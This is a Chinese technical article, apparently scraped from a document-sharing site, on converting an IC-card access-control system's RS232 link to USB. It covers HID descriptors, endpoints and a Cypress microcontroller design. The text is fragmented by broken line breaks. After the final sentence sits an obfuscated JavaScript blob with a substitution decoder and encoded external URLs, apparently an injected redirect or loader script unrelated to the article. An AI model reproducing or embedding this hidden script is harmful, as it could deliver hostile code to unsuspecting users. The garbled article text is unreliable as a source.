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USB
作为一种新的
PC
机互连协议,使外设到计算机的连接更加高效、便利。这种接口适合于多种设备,
不仅具有快速、即插即用、支持热插拔的特点,还能同时连接多达
127
个设备,解决了如资源冲突、中断
请求(
IRQs
)和直接数据通道(
DMAs
)等问题。因此
,
越来越多的开发者欲在自己的产品中使用这种标准
接口。而
RS232
是单个设备接入计算机时,常采用的一种接入方式,其硬件实现简单,
因此在传统的设备
中有很多采用了这种通信方式。
一般的
IC
卡门禁考勤系统也使用
RS232
接口与
PC
机通信。如果将
USB
技术应用于
IC
卡门禁考勤系统与
PC
机之间的数据通信,这样,不仅能使
IC
卡门禁考勤设备具备
USB
通
信的诸多优点,而且对
PC
机而言还可以节余
1
个
RS232
串口为其它通信所用。
1 USB
系统概述
USB
规范描述了总线特性、协议定义、编程接口以及其它设计和构建系统时所要求的特性。
USB
是一种主
从总线,工作时
USB
主机处于主模式,设备处于从模式。
USB
系统所需要的唯一的系统资源是,
USB
系
统软件所使用的内存空间、
USB
主控制器所使用的内存地址空间(
I/O
地址空间)和中断请求(
IRQ
)线。
USB
设备可以是功能性的,如显示器、鼠标或者集线器之类。它们可以作低速或者高速设备实现。低速设
备最大速率限制在
1.5 Mb/s
,每一个设备有一些专有寄存器,也就是端点(
endpoint
)
。在进行数据交换时,
可以通过设备驱动间接访问它。
每一个端点支持几种特殊的传输类型,
并且有一个唯一的地址和传输方向。
不同的是端点
0
仅用作控制传输,并且其传输可以是双向的。
系统上电后,
USB
主机负责检测设备的连接与拆除、初始化设备的列举过程,并根据设备描述表安装设备
驱动后自动重新配置系统,收集每个设备的状态信息。设备描述表标识了设备的属性、特征并描述了设备
的通信要求。
USB
主机根据这些信息配置设备、查找驱动,并且与设备通信。
典型的
USB
数据传输是由设备驱动开始的,当它需要与设备通信时,设备驱动提供内存缓冲区,用来存放
设备收到或者即将发送的数据。
USB
驱动提供
USB
设备驱动和
USB
主控制器之间的接口,并将传输请求
转化为
USB
事务,转化时需要与带宽要求及协议结构保持一致。某些传输是由大块数据构成的,这时需要
先将它划分为几个事物再进行传输。
具有相似功能的设备可以组成一类,这样便于分享共有的特性和使用共同的设备驱动程序。每个类可以定
义其自己的描述符,如:
HID
类描述符和
Report
描述符。
HID
类是由人控制计算机系统的设备组成的,它
定义了一个描述
HID
设备的结构,并且表明了设备的通信要求。
HID
设备描述符必须支持端点输入中断,
固件也必须包括一个报告描述符,表明接收和发送数据的格式。在
IC
卡门禁考勤系统引入
RS232
到
USB
的接口转换模块后,从系统所具有的特性来看,应该属于
HID
设备。因此,两种特殊的
HID
类请求必须被
支持:
SetReport
和
GetReport
。这些请求使设备能接收和发送一般的设备信息给主机。在没有中断输出终
端时,
SetReport
是主机发送数据给
HID
设备的唯一方式。
2
系统要求
为了实现
IC
卡门禁考勤系统中
RS232-USB
的接口转换,
需要
1
台支持
USB
的主机,
同时还要提供主机上
用于与外设通信的驱动,一般由操作系统提供。此外,还需开发在主机上执行的客户端应用程序。在设备
端,需要提供具有
USB
接口的主控制器芯片,以及编写主控制器上执行的
USB
通信代码和用于执行外设
功能的相关代码。
2.1
主机要求
主机必须能够通过设备驱动接收
USB
数据,
并且使这些数据对处理这些请求的应用程序有效。
在主机中必
须有一个驱动负责处理
USB
传输、辨识设备、向
USB
设备收发数据;同时,还需要有一个设备驱动
-
虚拟
化串行口,仿效真实的串口。这个驱动必须能够像真实的串口接收和发送
USB
数据。
从应用的观点,设备驱动必须能收发数据,可以通过使用一个虚拟化的串口或通过转化为
USB
数据实现。
微软提供了一个叫作
USB POS
的设备驱动,它允许应用程序访问
USB
设备时,好像它们连接到标准串口
上一样。系统大致结构方框图如图
1
所示。
设备要求
在定义即将使用的微控制器时,必须说明一些通信要求,如:通信速率、频率、传输的数据量等。考虑到
IC
卡门禁考勤系统有效的通信速率,可以把转换器作为一个低速的设备使用,低速设备通信速度可以在
10~100 Kb/s
的范围变化。考虑到传输的数据量和传输的频率,
此系统中使用中断的传输类型。中断传输
可以在
2
个方向进行,
但不能同时进行
,
这种类型的传输要求在规定的时间里完成相当大数据量的传输任务。
对于转换模块,它可以用于
PC
机的数据收发,操作系统提供了
HID
驱动,
允许使用中断传输模式。对于
低速设备的一个事务,中断传输最大的包容量是
8
字节,如果需要发送大量的数据,则必须把它分割为很
多事务。
转换模块要定义的另一个特性是所需端点数。如上所述,
端点是微控制器在
USB
通信过程中所用来发送
和接收数据的缓冲区。此系统中,该转换器定义了
2
个端点:一个端点(端点
0
)用来控制传输,另一个
端点是中断输入端点,定义为发数据给
PC
机。
根据以上要求,
通过研究比较现有的微控制器,
考虑到如内存空间、
价格和开发包等因素,
我们选用
Cypress
家族的一种
8
位
RISC
微控制器
CY7C634XX/5XX
。
它使用哈佛总线结构,是对较高
I/O
要求的低速应用
设备的低价解决方案。
图
2
为
IC
卡门禁考勤系统
USB
通信实现硬件方框原理图。
软件设计和执行
系统软件由
6
部分组成:定义描述符、设备检测和列举、端点中断服务程序、
USB
数据交换模块、串行口
数据交换模块、
USB/Serial
模块接口。
下面简要描述其中部分模块程序的功能和实现思想。
3.1
描述符定义
描述符是数据结果或信息的格式化块
,
它可以使主机知道这个设备。每个描述符包含了这个设备整体的信息
或者某个元素的信息。所有的
USB
外设必须响应对标准的
USB
描述符的请求。
该系统中使用了
1
个接口和
2
个终端
(
控制和中断输入
)
。由于受
Win98
的限制还不能使用中断输出终端
,
因
此为了解决这个问题,我们通过在端点
0
中使用
SetReport
传输
PC
机欲送往
IC
卡门禁考勤设备的数据。
数据接收是在
Output Reports
中完成的。它根据送往
IC
卡门禁考勤设备最大的数据量,系统定义为
16K
个
8
位域。发送数据给主机是在输入报告中完成的,它是
8K
个
8
位域
3.2
设备检测和列举
当
1
个
USB
人机接口类(
HID
)设备第一次连接到总线,
它将被总线供电但仍然非功能性等待
1
个总线复
位。
D-
端的上拉电阻通知
Hub
连接上了新的设备,主机也同时知道了新连接的
USB
设备,并将它复位。
紧跟输入包之后,主机发送
1
个配置包,从缺省地址
0
处读取设备描述符。读到描述符后,主机将分配一
个新的地址给设备,并继续查询关于设备描述、配置描述、人机报告描述的信息,设备将开始对新分配的
地址作出反应。根据从设备处返回的信息,主机知道了被设备支持的数据终端的数量,完成列举过程。列
举结束后,
Windows
将把新的设备加入到控制面板的设备管理器中显示。
为此,在微控制器中必须写入访问描述符的代码,这样便于对主机在列举设备时发送的请求作出有效的辨
识和响应。在设备方面需要创建一个
INF
文件,使
Windows
能够辨识设备,并且为设备找到其驱动。由于
操作系统提供了简单的
INF
文件,因此,开发中只需要编写写入到微控制器中的程序。
3.3
数据发送和接收过程
发送数据到门禁考勤系统是通过控制端点
0
中使用
SetReport
来完成的。
主机先向门禁考勤系统请求发送数
据,设备响应请求后,主机便开始执行。
当有数据到达设备的终端
0
时,将对设备产生一个中断。此时,
相应的中断服务程序便将数据复制到数据缓冲区。
一旦进入端点
0
的中断服务程序,
所有的中断必须关闭,
确保能够正确地复制数据。
微处理器的数据缓冲区编程为可以接收
64
个字节,
这个值是存放在设置包的包头请求信息中。
从主机处接
收到的最大包大小,是根据它将发送给门禁考勤系统的最大数据量来决定的。
系统还使用了
Put_command
线程,通过
1
个
I/O
端口引脚,向门禁考勤系统串口发送数据。在执行此线程
时,根据串口通信协议插入了起始位、停止位以及相应的延时。
从门禁考勤系统接收数据的过程是利用端点
1
完成的。端点
1
配置为
1
个中断输入端点,当有
1
个起始位
到达引脚时,
GPIO
中断必须打开,
并关闭所有其它类型中断。
设计中通过使用
1
个
Get_Serial
线程来收集
I/O
引脚发出的串行数据,并把它存入数据缓冲区。
同时该线程负责检验接收到的起始位和停止位的正确
性。当收到
8
个字节时,将接收缓冲区中的数据复制到终端
1
的缓冲区,并且允许微处理器响应中断输入
请求。
考虑到一般串行口的有效波特率的范围在
300~19 200 bps
,
我们按处于最大波特率
19 200 bps
的情况来考
虑
,
传输
1
个字符需要时间接近
0.75 ms
;而
1
个输入中断大约每
10 ms
送
1
个
8
字节的数据包
,
因此,设计
1
个
128
字节的快速数据缓冲区便可以保证不会丢失数据。
USB端插电脑,安装驱动程序,RS232接电脑串口,两端可以正常通信
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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